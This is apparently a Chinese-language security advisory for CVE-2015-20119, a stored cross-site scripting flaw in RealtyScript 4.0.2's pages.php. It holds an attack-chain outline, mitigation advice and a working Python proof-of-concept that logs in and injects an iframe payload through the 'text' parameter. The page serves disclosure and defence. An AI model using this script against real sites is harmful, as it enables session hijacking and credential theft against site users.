IPBUF安全漏洞报告
English
CVE-2015-20119 CVSS 6.4 中危

CVE-2015-20119 RealtyScript pages.php存储型XSS漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2015-20119
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RealtyScript 4.0.2

相关标签

存储型XSSRealtyScriptCVE-2015-20119跨站脚本Web应用安全pages.phpiframe注入认证绕过

漏洞概述

CVE-2015-20119是Next Click Ventures开发的RealtyScript 4.0.2中存在的一个存储型跨站脚本漏洞。该漏洞源于应用程序在pages.php管理界面中对用户输入的text参数缺乏充分的输入验证和输出编码。攻击者通过利用该漏洞可以在text参数中注入恶意的HTML和iframe元素,这些恶意内容会被永久存储在服务器端。当其他用户访问受影响的页面时,注入的恶意代码会在其浏览器中执行,可能导致会话劫持、凭据窃取、恶意重定向或其他客户端攻击。由于是存储型XSS,攻击只需一次注入即可影响所有访问该页面的用户,危害范围较大。攻击者需要具备低权限的认证账户即可实施攻击。

技术细节

该漏洞位于RealtyScript 4.0.2的pages.php管理界面中的add page功能模块。攻击者通过向add page动作提交POST请求,在text参数中注入精心构造的iframe或HTML载荷。由于应用程序未对用户输入进行适当的HTML转义或白名单过滤,恶意载荷会被直接存储到数据库中。当管理员或其他用户访问包含该恶意内容的页面时,浏览器会解析并执行注入的iframe代码。攻击者可以利用此漏洞嵌入恶意网页、进行钓鱼攻击或窃取用户会话信息。CVSS 3.1评分6.4反映了该漏洞通过网络即可利用,但需要低权限认证且对机密性和完整性的影响均为低级别。攻击复杂度低且无需用户交互,使得该漏洞容易被利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用RealtyScript 4.0.2,定位到pages.php管理界面
STEP 2
步骤2: 获取认证
攻击者获取或破解低权限管理员账户,用于登录/admin/login.php
STEP 3
步骤3: 构造恶意载荷
攻击者构造包含恶意iframe或HTML的XSS载荷,用于注入到text参数
STEP 4
步骤4: 发送注入请求
通过POST请求向/admin/pages.php的add page功能提交恶意载荷,text参数包含XSS代码
STEP 5
步骤5: 载荷存储
恶意载荷被存储到数据库中,由于缺乏输入验证,代码未经转义直接入库
STEP 6
步骤6: 触发执行
当用户访问受感染的页面时,浏览器解析并执行存储的恶意iframe代码
STEP 7
步骤7: 攻击成功
攻击者实现会话劫持、凭据窃取、恶意重定向或进一步渗透等恶意目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2015-20119 PoC - RealtyScript Stored XSS via text parameter # Target: RealtyScript 4.0.2 pages.php # Type: Stored XSS import requests import sys def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS vulnerability in RealtyScript pages.php by injecting malicious iframe into the text parameter. """ # Login to get authenticated session login_url = target_url + '/admin/login.php' login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'admin' not in login_response.url.lower(): print('[-] Login failed') return False print('[+] Login successful') # Inject malicious iframe via text parameter add_page_url = target_url + '/admin/pages.php' # Malicious payload - iframe injection payload = '''<iframe src="javascript:alert('XSS by CVE-2015-20119')" width="0" height="0"></iframe>''' page_data = { 'action': 'add', 'title': 'Malicious Page', 'text': payload, 'submit': 'Save' } response = session.post(add_page_url, data=page_data) if response.status_code == 200: print('[+] Malicious iframe payload injected successfully') print('[+] Payload will execute when page is viewed') return True else: print('[-] Injection failed') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print('Example: python exploit.py http://target.com admin password') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

影响范围

RealtyScript 4.0.2

防御指南

临时缓解措施
在官方修复补丁发布前,可采取以下临时缓解措施:1)限制pages.php管理界面的访问权限,确保只有受信任的管理员才能访问;2)对text参数实施严格的输入过滤,禁止iframe、script等危险标签;3)部署Web应用防火墙(WAF)规则检测和阻止XSS攻击载荷;4)定期审查管理界面提交的内容,及时发现和清除恶意注入;5)考虑暂时禁用pages.php的add page功能,待漏洞修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表